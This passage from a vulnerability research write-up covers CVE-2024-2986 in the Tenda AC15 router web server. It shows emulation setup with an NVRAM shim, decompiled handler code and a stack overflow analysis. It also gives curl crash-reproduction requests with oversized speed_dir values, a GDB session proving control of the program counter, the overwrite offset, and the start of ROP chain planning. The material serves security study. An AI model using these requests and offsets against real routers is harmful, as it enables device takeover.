        memset(&g_nv[idx], 0, sizeof(g_nv[idx]));
    }
    pthread_mutex_unlock(&g_nv_lock);
    return 0;
}

__attribute__((visibility("default")))
int bcm_nvram_commit(void) {
    /*
     * Real firmware persists to flash/NVRAM.
     * Lab shim writes a snapshot for observability.
     */
    FILE *fp;
    int i;
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    fp = fopen(g_snapshot_path, "w");
    if (fp) {
        for (i = 0; i < MAX_NV_PAIRS; i++) {
            if (g_nv[i].used) fprintf(fp, "%s=%s\n", g_nv[i].key, g_nv[i].val);
        }
        fclose(fp);
    }
    pthread_mutex_unlock(&g_nv_lock);
    return 0;
}

__attribute__((visibility("default")))
int bcm_nvram_init(void *unused) {
    /* Initialization entry expected by some call paths. */
    (void)unused;
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    pthread_mutex_unlock(&g_nv_lock);
    return 0;
}

__attribute__((visibility("default")))
int bcm_nvram_restore(void) {
    /* Minimal restore stub: keep currently loaded defaults/state. */
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    pthread_mutex_unlock(&g_nv_lock);
    return 0;
}

__attribute__((visibility("default")))
char *bcm_nvram_getall(char *buf, int count) {
    /*
     * Flatten key=value pairs as NUL-separated strings terminated by an extra
     * NUL, which is sufficient for legacy enumeration callers.
     */
    int i, used = 0, n;
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    if (!buf || count <= 0) {
        pthread_mutex_unlock(&g_nv_lock);
        return buf;
    }
    buf[0] = '\0';
    for (i = 0; i < MAX_NV_PAIRS; i++) {
        if (!g_nv[i].used) continue;
        n = snprintf(buf + used, (size_t)(count - used), "%s=%s", g_nv[i].key, g_nv[i].val);
        if (n <= 0 || used + n + 2 > count) break;
        used += n + 1;
    }
    if (used + 1 < count) buf[used] = '\0';
    pthread_mutex_unlock(&g_nv_lock);
    return buf;
}

__attribute__((visibility("default")))
char *bcm_nvram_safe_get(const char *name) {
    /* Safe getter: never returns NULL. */
    static char empty[] = "";
    char *v = bcm_nvram_get(name);
    return v ? v : empty;
}

__attribute__((constructor))
static void hook_init(void) {
    /* Constructor ensures defaults are ready before first request. */
    g_seed_path = pick_env_or_default("NVRAM_SEED_PATH", NVRAM_SEED_PATH_DEFAULT);
    g_snapshot_path = pick_env_or_default("NVRAM_COMMIT_SNAPSHOT", NVRAM_COMMIT_SNAPSHOT_DEFAULT);
    pthread_mutex_lock(&g_nv_lock);
    ensure_loaded_locked();
    pthread_mutex_unlock(&g_nv_lock);
}

The shim restores the missing userland configuration API in a form that is good enough for the web stack:

  • httpd can resolve the missing bcm_nvram_* symbols and continue running
  • committed state becomes observable through /tmp/nvram_commit_snapshot.cfg

3.3.2.3 Shared Object Build (hook_nvram.so)

The compile tool is selected from the target ABI, not from the host environment.

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ readelf -h "$LAB/bin/httpd" | grep -E "Class|Data|Machine"
  Class:                             ELF32
  Data:                              2's complement, little endian
  Machine:                           ARM
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ readelf -l "$LAB/bin/httpd" | grep "interpreter"
      [Requesting program interpreter: /lib/ld-uClibc.so.0]
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ strings "$LAB/bin/httpd" | grep -Ei "uClibc|glibc|musl"
/lib/ld-uClibc.so.0
__uClibc_main

The output shows that the AC15 httpd is:

  • ELF 32 bit
  • little-endian
  • ARM
  • loaded by /lib/ld-uClibc.so.0

So the preload shim also has to be built as ARM + uClibc.

And look up the compiler fingerprint:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986/rootfs$ strings $LAB/bin/httpd | grep GCC
GCC_3.5
GCC: (GNU) 3.3.2 20031005 (Debian prerelease)
GCC: (Buildroot 2012.02) 4.5.3

Buildroot is used here as a host-side cross-compilation framework for embedded Linux targets. In this lab, it is only used to generate an arm-linux-gcc toolchain that matches the firmware userspace ABI.

The target metadata proves an ARMv7 application-profile userspace, but it does not identify a specific core such as cortex-a5, cortex-a7, cortex-a8, cortex-a9, or cortex-a12. For the toolchain in this lab, cortex-a9 is used as a compatible ARMv7-A setting rather than as a hardware-verified core model.

Prepare the Buildroot toolchain:

Bash
cd ~/pwntools
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make menuconfig
# Target options  ---> Architecture: ARM (little endian)
# Target options  ---> ARM architecture variant: cortex-a9
# Target options  ---> Use soft-float (default)
# Toolchain       ---> C library: uClibc-ng
make

Target options:

Toolchain:

After Buildroot finishes, the compiler used in this lab is:

Path
~/pwntools/buildroot/output/host/bin/arm-linux-gcc

Build the shim:

Bash
sudo ln -sf ~/pwntools/buildroot/output/host/bin/arm-linux-gcc /bin/arm-linux-gcc
arm-linux-gcc  -shared -fPIC "$LAB/hook_nvram.c" -o "$LAB/hook_nvram.so" -ldl

Validate the built object:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ file "$LAB/hook_nvram.so"
/home/axura/labs/cve-2024-2986/rootfs/hook_nvram.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, not stripped
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -h "$LAB/hook_nvram.so" | grep -E "Class|Data|Machine"
  Class:                             ELF32
  Data:                              2's complement, little endian
  Machine:                           ARM
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -s "$LAB/hook_nvram.so" | grep -E "bcm_nvram"
    21: 000012b8   464 FUNC    GLOBAL DEFAULT    9 bcm_nvram_getall
    22: 00001488    72 FUNC    GLOBAL DEFAULT    9 bcm_nvram_safe_get
    23: 0000122c    76 FUNC    GLOBAL DEFAULT    9 bcm_nvram_init
    24: 00000edc    92 FUNC    GLOBAL DEFAULT    9 bcm_nvram_set
    25: 00000fe4   108 FUNC    GLOBAL DEFAULT    9 bcm_nvram_match
    27: 00001050   176 FUNC    GLOBAL DEFAULT    9 bcm_nvram_unset
    28: 00000f38   172 FUNC    GLOBAL DEFAULT    9 bcm_nvram_get
    29: 00001100   300 FUNC    GLOBAL DEFAULT    9 bcm_nvram_commit
    31: 00001278    64 FUNC    GLOBAL DEFAULT    9 bcm_nvram_restore
   113: 000012b8   464 FUNC    GLOBAL DEFAULT    9 bcm_nvram_getall
   116: 00001488    72 FUNC    GLOBAL DEFAULT    9 bcm_nvram_safe_get
   119: 00000edc    92 FUNC    GLOBAL DEFAULT    9 bcm_nvram_set
   120: 00001100   300 FUNC    GLOBAL DEFAULT    9 bcm_nvram_commit
   121: 00000fe4   108 FUNC    GLOBAL DEFAULT    9 bcm_nvram_match
   123: 00001050   176 FUNC    GLOBAL DEFAULT    9 bcm_nvram_unset
   124: 00000f38   172 FUNC    GLOBAL DEFAULT    9 bcm_nvram_get
   138: 00001278    64 FUNC    GLOBAL DEFAULT    9 bcm_nvram_restore
   139: 0000122c    76 FUNC    GLOBAL DEFAULT    9 bcm_nvram_init
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -d "$LAB/hook_nvram.so" | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libc.so.0]
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -V "$LAB/hook_nvram.so" | grep -E "GLIBC|uClibc"
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -l "$LAB/hook_nvram.so" | grep "interpreter"

At this point, the built preload shim matched the target httpd runtime:

  • exportes bcm_nvram_get, bcm_nvram_set, bcm_nvram_match, bcm_nvram_commit correctly
  • NEEDED: libc.so.0 matches the uClibc-style runtime
  • no GLIBC_* version tags in readelf -V
  • no ELF interpreter line, which is expected for a shared object

3.3.2.4 LD_PRELOAD Injection

With the shim built, the final bring-up step is to preload it into httpd:

Bash
LD_PRELOAD=/hook_nvram.so

This forces the dynamic loader to resolve bcm_nvram_* through the local shim first, allowing httpd to continue through initialization instead of aborting on missing symbols.

3.4 HTTP Service Execution

With both missing dependencies covered, service bring-up becomes a two-step process. Start the local CFM backend first:

Bash
sudo python3 $LAB/uds_server.py \
    --socket-path "$LAB/var/cfm_socket" \
    --sock-type stream

Then start httpd with the NVRAM shim preloaded:

Bash
sudo chroot "$LAB" \
    /usr/bin/qemu-arm-static \
    -E LD_PRELOAD=/hook_nvram.so \
    /bin/httpd

Don't forget the previous steps before starting httpd:

  • setup LAN network inteface (3.1)
  • recreate rcS runtime layout (3.2)

Once the service is live, the UDS helper begins receiving CFM packets:

The expected management target in the lab is http://192.168.200.5:

At that point, the emulated web service is up:

3.5 Cleanups

For cleanup or restart:

Bash
sudo pkill -9 -f '/usr/bin/qemu-arm-static.*/bin/httpd' 
sudo pkill -9 -f uds_server.py 
sudo rm -f "$LAB/var/cfm_socket"

4 Vulnerability Analysis

4.1 Binary Protections

Check the current hardening state on the AC15 httpd:

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ checksec "$LAB/bin/httpd"
[*] '/home/axura/labs/cve-2024-2986/rootfs/bin/httpd'
    Arch:       arm-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8000)

This is common in router firmware.

4.2 Vulnerable Handler Identification

The AC15 httpd confirmed the published route and handler directly in IDA.

4.2.1 Goform Route Registration

The registration table at sub_42378 binds the goform name SetSpeedWan to formSetSpeedWan:

C
sub_171EC("SetSpeedWan", formSetSpeedWan);  // register /goform/SetSpeedWan

So the request path is:

  • /goform/SetSpeedWan
  • handler: formSetSpeedWan

We can visit the endpoint at http://192.168.200.5/goform/SetSpeedWan:

4.2.2 formSetSpeedWan Handler Logic

The vulnerable handler formSetSpeedWan recovered from the binary is:

C
int __fastcall formSetSpeedWan(int a1)
{
  _DWORD nptr[8];    // [sp+10h] [bp-5Ch] temporary string / status buffer
  _DWORD s[8];       // [sp+30h] [bp-3Ch] response buffer on stack
  int v5;            // [sp+50h] [bp-1Ch] password pointer
  char *v6;          // [sp+54h] [bp-18h] ucloud_enable
  char *v7;          // [sp+58h] [bp-14h] speed_dir
  int v8;            // [sp+5Ch] [bp-10h] errCode

  memset(s, 0, sizeof(s));                     
  memset(nptr, 0, sizeof(nptr));               
  v8 = 0;
  v7 = (char *)sub_2BA8C(a1, "speed_dir", "0");        // attacker-controlled parameter
  v6 = (char *)sub_2BA8C(a1, "ucloud_enable", "0");    // secondary request parameter
  v5 = sub_2BA8C(a1, "password", "0");                 // optional password field
  GetValue("speedtest.flag", nptr);                    // read current state through libCfm.so
  if ( atoi((const char *)nptr) )
  {
    v8 = 1;
  }
  else
  {
    SetValue("speedtest.flag", "1");                   // update config through libCfm.so
    if ( atoi(v7) )
    {
      if ( !atoi(v6) )
      {
        SetValue("ucloud.en", "1");
        SetValue("ucloud.syncserver", "1");
        SetValue("ucloud.password", v5);
        SetValue("qos.ucloud.flag", "1");
        doSystemCmd("cfm Post ucloud 0");
      }
      SetValue("speedtest.ret", "2");
      doSystemCmd("/bin/speedtest %d %d &", 1, 1);
    }
    else
    {
      SetValue("speedtest.ret", "4");
      doSystemCmd("cfm Post ucloud 5");
    }
  }
  sprintf((char *)s, "{\"errCode\":%d,\"speed_dir\":%s}", v8, v7);  // [!] unbounded write into stack buffer
  return sub_9CCBC(a1, s);                                          // send response
}

4.2.3 Stack Overflow Entry Point

The overflow happens in the final JSON response build, and the stack layout makes the bug easy to see.

speed_dir is not synthesized locally. It is fetched from the current web request through sub_2BA8C:

C
void *__fastcall sub_2BA8C(int a1, int a2, int a3)
{
  int v6;

  v6 = sub_1FBF4(*(_DWORD *)(a1 + 32), a2);   // search request context for named field
  if ( !v6 )
    return (void *)a3;                        // field absent -> return default
  if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
    return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
  return &unk_DC1C4;                          // present but empty -> return static empty string
}

So when formSetSpeedWan executes the next line, v7 becomes the request-supplied speed_dir value if present, or "0" if the parameter is missing:

C
v7 = (char *)sub_2BA8C(a1, "speed_dir", "0");   // look up "speed_dir", default "0"

That pointer is then carried into the final response formatting step:

C
_DWORD s[8];                                     // 0x20-byte stack buffer
...
sprintf((char *)s, "{\"errCode\":%d,\"speed_dir\":%s}", v8, v7);

The destination is:

C
_DWORD s[8];   // 8 * 4 = 32 bytes

Fixed text in the format string:

  • {"errCode":11 bytes
  • ,"speed_dir":13 bytes
  • }1 byte

The constant part is already 25 bytes. sprintf then appends:

  • the decimal text for errCode
  • the full NUL-terminated contents referenced by v7
  • the trailing \0

In the normal path here, errCode is 0 or 1, so it contributes one printable byte. The total write therefore becomes:

25 + 1 + strlen(v7) + 1

or:

27 + strlen(v7)

That total is written into a 32-byte stack buffer, so the boundary is:

27 + strlen(v7) <= 32   // safe
27 + strlen(v7) >  32   // overflow

Which reduces to:

strlen(v7) <= 5   // fits
strlen(v7) >= 6   // overflows

So the formatted JSON starts writing out of bounds as soon as the string copied through %s reaches 6 non-NUL bytes.

The overflow path is therefore:

  • source: HTTP GET parameter speed_dir
  • local carrier: v7
  • sink: sprintf((char *)s, ...)
  • corrupted object: stack buffer s

4.3 Crash Reproduction

4.3.1 Runtime Triggering

The first out-of-bounds case begins at len(speed_dir) >= 6, but that boundary case does not have to fault immediately. A one-byte overwrite is often too small to disturb saved control data in a visible way.

So the next step was to keep extending speed_dir until the overwrite reached a critical stack object.

Bash
for n in 6 8 16 32 64 128 256; do
    s=$(python3 - <<PY
print("A" * $n)
PY
)
    echo "[*] len=$n"
    curl -s -L -c /tmp/ac15.cookies -b /tmp/ac15.cookies \
        "http://192.168.200.5/goform/SetSpeedWan?speed_dir=$s" >/dev/null
done

In this lab run, increasing the request length moved the result from a silent boundary overwrite to a real process fault:

4.3.2 GDB Debugging

After reproducing the crash in a normal run, httpd was restarted under the QEMU gdbstub and the same request was replayed to capture the overwrite in a controlled session.

The breakpoint was placed at 0x00061998, where sprintf executes inside the vulnerable handler:

ASM
.text:0006197C                 LDR             R3, =(aErrcodeDSpeedD - 0xFF3B8) ; "{\"errCode\":%d,\"speed_dir\":%s}"
.text:00061980                 ADD             R3, R4, R3 ; "{\"errCode\":%d,\"speed_dir\":%s}"
.text:00061984                 SUB             R2, R11, #-s
.text:00061988                 MOV             R0, R2  ; s
.text:0006198C                 MOV             R1, R3  ; format
.text:00061990                 LDR             R2, [R11,#var_10]
.text:00061994                 LDR             R3, [R11,#var_14]
.text:00061998                 BL              sprintf

The following script was used as $LAB/poc.gdb:

gdb
handle SIGALRM nostop noprint pass
set sysroot /home/axura/labs/cve-2024-2986/rootfs
target remote 127.0.0.1:1234
b *0x00061998

Start httpd under the gdbstub:

Bash
sudo chroot "$LAB" \
    /usr/bin/qemu-arm-static \
    -g 1234 \
    -E LD_PRELOAD=/hook_nvram.so /bin/httpd

That terminal stays blocked on the gdbstub. Start GDB in another terminal:

Bash
gdb-multiarch -q "$LAB/bin/httpd" -x "$LAB/poc.gdb"

GDB then attaches the http daemon process:

axura @ labyrinth :~
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]─────────────────────────────────────────────────────────────────
 R0   0
 R1   0x40800677 ◂— 0x40800677
 R2   0
 R3   0
 R4   0
 R5   0
 R6   0
 R7   0
 R8   0
 R9   0
 R10  0xff000 —▸ 0xfa00 ◂— 0xfa00
 R11  0
 R12  0
 SP   0x40800570 ◂— 0x40800570
 LR   0
 PC   0x3fff2930 (_start) ◂— 0x3fff2930
 CPSR 0x10 [ n z c v q j t e a i f ]
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
0x3fff2930 <_start>       mov    r0, sp     R0 => 0x40800570
   0x3fff2934 <_start+4>     bl     0x3fff5bb4                  <0x3fff5bb4>

   0x3fff2938 <_start+8>     mov    r6, r0
   0x3fff293c <_start+12>    ldr    r10, [pc, #0x30]       R10, [_start+68]
   0x3fff2940 <_start+16>    add    r10, pc, r10
   0x3fff2944 <_start+20>    ldr    r4, [pc, #0x2c]        R4, [_start+72]
   0x3fff2948 <_start+24>    ldr    r4, [r10, r4]
   0x3fff294c <_start+28>    ldr    r1, [sp]
   0x3fff2950 <_start+32>    sub    r1, r1, r4
   0x3fff2954 <_start+36>    add    sp, sp, r4, lsl #2
   0x3fff2958 <_start+40>    add    r2, sp, #4
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x40800570 ◂— 0x40800570
01:0004│     0x40800574 —▸ 0x40800677 ◂— 0x40800677
02:0008│     0x40800578 ◂— 0x40800578
03:000c│     0x4080057c —▸ 0x40800682 ◂— 0x40800682
04:0010│     0x40800580 —▸ 0x4080069c ◂— 0x4080069c
05:0014│     0x40800584 —▸ 0x408006aa ◂— 0x408006aa
06:0018│     0x40800588 —▸ 0x408006b8 ◂— 0x408006b8
07:001c│     0x4080058c —▸ 0x408006c8 ◂— 0x408006c8
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x3fff2930 _start
   1      0x0 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.

After continue, the HTTP service starts and the formSetSpeedWan handler can be triggered from another terminal.

The request was then replayed from another shell with a cyclic payload. In this lab run, the browser reached the handler by following the initial redirect and reusing the password=... cookie, so the same flow can be reproduced directly with curl:

Bash
pl=$(pwn cyclic 256)
curl -i -L -c /tmp/ac15.cookies -b /tmp/ac15.cookies \
  --get \
  --data-urlencode "speed_dir=$pl" \
  "http://192.168.200.5/goform/SetSpeedWan"

After request sent, execution stopped at the sprintf call:

axura @ labyrinth :~
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]─────────────────────────────────────────────────────────────────
*R0   0x407ff918 ◂— 0x407ff918
*R1   0xe2edc ◂— 0xe2edc
 R2   0
*R3   0x1243c0 ◂— 0x1243c0
*R4   0xff3b8 —▸ 0xff270 ◂— 0xff270
*R5   0x1237c0 ◂— 0x1237c0
*R6   1
*R7   0x40800677 ◂— 0x40800677
*R8   0xec24 (_init) ◂— 0xec24
*R9   0x2e420 ◂— 0x2e420
*R10  0x408004e8 ◂— 0x408004e8
*R11  0x407ff954 —▸ 0x171c8 (websFormHandler+336) ◂— 0x171c8
*R12  0x3fabef0c (pthread_setcanceltype@got[plt]) —▸ 0x3fab05b4 (pthread_setcanceltype) ◂— 0x3fab05b4
*SP   0x407ff8e8 ◂— 0x407ff8e8
 LR   0x6197c (formSetSpeedWan+720) ◂— 0x6197c
*PC   0x61998 (formSetSpeedWan+748) ◂— 0x61998
*CPSR 0x60000010 [ n Z C v q j t e a i f ]
─────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]──────────────────────────────────────────────────────────────────────
b► 0x61998 <formSetSpeedWan+748>    bl     sprintf@plt                 <sprintf@plt>
        s: 0x407ff918 ◂— 0x407ff918
        format: 0xe2edc ◂— 0xe2edc
        vararg: 0

   0x6199c <formSetSpeedWan+752>    sub    r3, r11, #0x3c
   0x619a0 <formSetSpeedWan+756>    ldr    r0, [r11, #-0x60]
   0x619a4 <formSetSpeedWan+760>    mov    r1, r3
   0x619a8 <formSetSpeedWan+764>    bl     0x9ccbc                     <0x9ccbc>

   0x619ac <formSetSpeedWan+768>    sub    sp, r11, #8
   0x619b0 <formSetSpeedWan+772>    pop    {r4, r11, pc}               <formSetSpeedWan+780>
    ↓
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407ff8e8 ◂— 0x407ff8e8
01:0004│     0x407ff8ec —▸ 0x1239d0 ◂— 0x1239d0
02:0008│     0x407ff8f0 —▸ 0x407ff970 ◂— 0x407ff970
03:000c│     0x407ff8f4 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88
04:0010│     0x407ff8f8 ◂— 0x407ff8f8
05:0014│     0x407ff8fc ◂— 0x407ff8fc
06:0018│     0x407ff900 ◂— 0x407ff900
07:001c│     0x407ff904 ◂— 0x407ff904
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► 0  0x61998 formSetSpeedWan+748
   1  0x171c8 websFormHandler+336
   2  0x18074 None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0xe2edc
0xe2edc:        "{\"errCode\":%d,\"speed_dir\":%s}"
pwndbg> 

Single-step over sprintf, then inspect the target written buffer s at 0x407ff918:

axura @ labyrinth :~
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────
*R0   0x11a
*R1   0xe2ef8 ◂— 0xe2ef8
*R2   0x407ff918 ◂— 0x407ff918
*R3   0x407ff8e0 ◂— 0x407ff8e0
 R4   0xff3b8 —▸ 0xff270 ◂— 0xff270
 R5   0x1237c0 ◂— 0x1237c0
 R6   1
 R7   0x40800677 ◂— 0x40800677
 R8   0xec24 (_init) ◂— 0xec24
 R9   0x2e420 ◂— 0x2e420
 R10  0x408004e8 ◂— 0x408004e8
 R11  0x407ff954 ◂— 0x407ff954
*R12  0x3f980ab4 ([email protected]) —▸ 0x3f94a314 (__stdio_fwrite) ◂— 0x3f94a314
 SP   0x407ff8e8 ◂— 0x407ff8e8
 LR   0x6199c (formSetSpeedWan+752) ◂— 0x6199c
*PC   0x6199c (formSetSpeedWan+752) ◂— 0x6199c
*CPSR 0x10 [ n z c v q j t e a i f ]
────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / arm / arm mode / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────────────
b+ 0x61998 <formSetSpeedWan+748>    bl     sprintf@plt                 <sprintf@plt>

 ► 0x6199c <formSetSpeedWan+752>    sub    r3, r11, #0x3c        R3 => 0x407ff918 (0x407ff954 - 0x3c)
   0x619a0 <formSetSpeedWan+756>    ldr    r0, [r11, #-0x60]     R0, [0x407ff8f4]
   0x619a4 <formSetSpeedWan+760>    mov    r1, r3                R1 => 0x407ff918
   0x619a8 <formSetSpeedWan+764>    bl     0x9ccbc                     <0x9ccbc>

   0x619ac <formSetSpeedWan+768>    sub    sp, r11, #8
   0x619b0 <formSetSpeedWan+772>    pop    {r4, r11, pc}               <formSetSpeedWan+780>
    ↓

──────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407ff8e8 ◂— 0x407ff8e8
01:0004│     0x407ff8ec —▸ 0x1239d0 ◂— 0x1239d0
02:0008│     0x407ff8f0 —▸ 0x407ff970 ◂— 0x407ff970
03:000c│     0x407ff8f4 —▸ 0x11dbe8 —▸ 0x11fe88 ◂— 0x11fe88
04:0010│     0x407ff8f8 ◂— 0x407ff8f8
05:0014│     0x407ff8fc ◂— 0x407ff8fc
06:0018│     0x407ff900 ◂— 0x407ff900
07:001c│     0x407ff904 ◂— 0x407ff904
────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0  0x6199c formSetSpeedWan+752
   1 0x61616a60 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s 0x407ff918
0x407ff918:     "{\"errCode\":0,\"speed_dir\":aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaa"...
pwndbg> x/32wx 0x407ff918
0x407ff918:     0x7265227b      0x646f4372      0x303a2265      0x7073222c
0x407ff928:     0x5f646565      0x22726964      0x6161613a      0x61616261
0x407ff938:     0x61616361      0x61616461      0x61616561      0x61616661
0x407ff948:     0x61616761      0x61616861      0x61616961      0x61616a61
0x407ff958:     0x61616b61      0x61616c61      0x61616d61      0x61616e61
0x407ff968:     0x61616f61      0x61617061      0x61617161      0x61617261
0x407ff978:     0x61617361      0x61617461      0x61617561      0x61617661
0x407ff988:     0x61617761      0x61617861      0x61617961      0x61617a61

At this point, the local response buffer already holds the full JSON reply with the cyclic speed_dir embedded in it.

Continue to leave sprintf and reache the function epilogue:

axura @ labyrinth :~
pwndbg> ni
0x61616a60 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags on / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────────────────
 R0   0x108
 R1   0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
 R2   0x11dbe0 —▸ 0x11fd78 —▸ 0x120e88 ◂— 0x120e88
 R3   0x77777777 ('wwww')
*R4   0x61616861 ('ahaa')
 R5   0x1237c0 ◂— 0x1237c0
 R6   1
 R7   0x40800677 ◂— 0x40800677
 R8   0xec24 (_init) ◂— 0xec24
 R9   0x2e420 ◂— 0x2e420
 R10  0x408004e8 ◂— 0x408004e8
*R11  0x61616961 ('aiaa')
 R12  0x3fabeedc ([email protected]) —▸ 0x3fab4a50 (__pthread_unlock) ◂— 0x3fab4a50
*SP   0x407ff958 ◂— 0x407ff958
 LR   0x10914 ◂— 0x10914
*PC   0x61616a60 ('`jaa')
*CPSR 0x20000030 [ n z C v q j T e a i f ]
───────────────────────────────────────────────────────────────────────────────────────────[ DISASM / arm / thumb mode / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x61616a60

──────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│  sp 0x407ff958 ◂— 0x407ff958
01:0004│     0x407ff95c ◂— 0x407ff95c
02:0008│     0x407ff960 ◂— 0x407ff960
03:000c│     0x407ff964 ◂— 0x407ff964
04:0010│     0x407ff968 ◂— 0x407ff968
05:0014│     0x407ff96c ◂— 0x407ff96c
06:0018│     0x407ff970 ◂— 0x407ff970
07:001c│     0x407ff974 ◂— 0x407ff974
────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x61616a60 None
   1  0x10914 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

This is the control-flow proof — PC = 0x61616a60, which shows that execution has already been redirected into cyclic-controlled data.

4.3.3 Overflow Offset Determination

Offset recovery uses the saved return word rather than the displayed pc value. In this crash, pc is shown as 0x61616a60, while the overwritten return word is 0x61616a61.

On ARM Thumb, bit 0 carries instruction-set state, so GDB displays the executable address with that bit cleared while the processor remains in Thumb mode.

Resolve the offset from the saved return word:

Bash
pwn cyclic -l 0x61616a61 -n 4

This placed the saved return overwrite at offset 35.


5 ROP Chain

After the overflow offset was confirmed in GDB, the next step was to turn that overwrite into code execution. The simplest place to start was the system function family.

5.1 ARM Exploitation Strategy

5.1.1 ARM Calling Convention

The simplest post-overflow goal is command execution, so system is the first obvious target. But on ARM, system() expects a proper stack frame and an LR value created by BL, while a stack overflow only hijacks the return address and does not recreate the calling environment.

The basic AAPCS calling convention is:

RegisterPurpose
R0–R3First 4 arguments
R4–R11Callee-saved registers
R12Scratch
LRReturn address
SPStack pointer
PCProgram counter

A normal call looks like this:

ASM
BL system
  • Stores the return address in LR
  • Transfers execution to system

When system finishes, it returns with something like:

ASM
POP {R4,PC}

or

ASM
BX LR

So the caller must already have a valid stack frame and LR.

Therefore, when we overflow the stack against a return address, we cannot simply pollute it with system like x86.

5.1.2 system Function

In httpd, system is only an imported thunk:

C
int system(const char *command)
{
    return __imp_system(command);
}

The real implementation is resolved from libc.so.0 at runtime.

axura @ labyrinth :~
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -d "$LAB/bin/httpd" | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libCfm.so]
 0x00000001 (NEEDED)                     Shared library: [libcommon.so]
 0x00000001 (NEEDED)                     Shared library: [libChipApi.so]
 0x00000001 (NEEDED)                     Shared library: [libvos_util.so]
 0x00000001 (NEEDED)                     Shared library: [libz.so]
 0x00000001 (NEEDED)                     Shared library: [libpthread.so.0]
 0x00000001 (NEEDED)                     Shared library: [libnvram.so]
 0x00000001 (NEEDED)                     Shared library: [libshared.so]
 0x00000001 (NEEDED)                     Shared library: [libtpi.so]
 0x00000001 (NEEDED)                     Shared library: [libm.so.0]
 0x00000001 (NEEDED)                     Shared library: [libucapi.so]
 0x00000001 (NEEDED)                     Shared library: [libgcc_s.so.1]
 0x00000001 (NEEDED)                     Shared library: [libc.so.0]
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ arm-linux-gnueabi-objdump -d "$LAB/bin/httpd" | grep '<system@plt>'
0000edd4 <system@plt>:
   3d818:       ebff456d        bl      edd4 <system@plt>
   4f8ec:       ebfefd38        bl      edd4 <system@plt>
   a6378:       ebfda295        bl      edd4 <system@plt>
axura@ubuntu-22-04-5:~/labs/cve-2024-2986$ readelf -Ws "$LAB/lib/libc.so.0" | grep ' system'
   433: 0005a270   348 FUNC    WEAK   DEFAULT    7 system

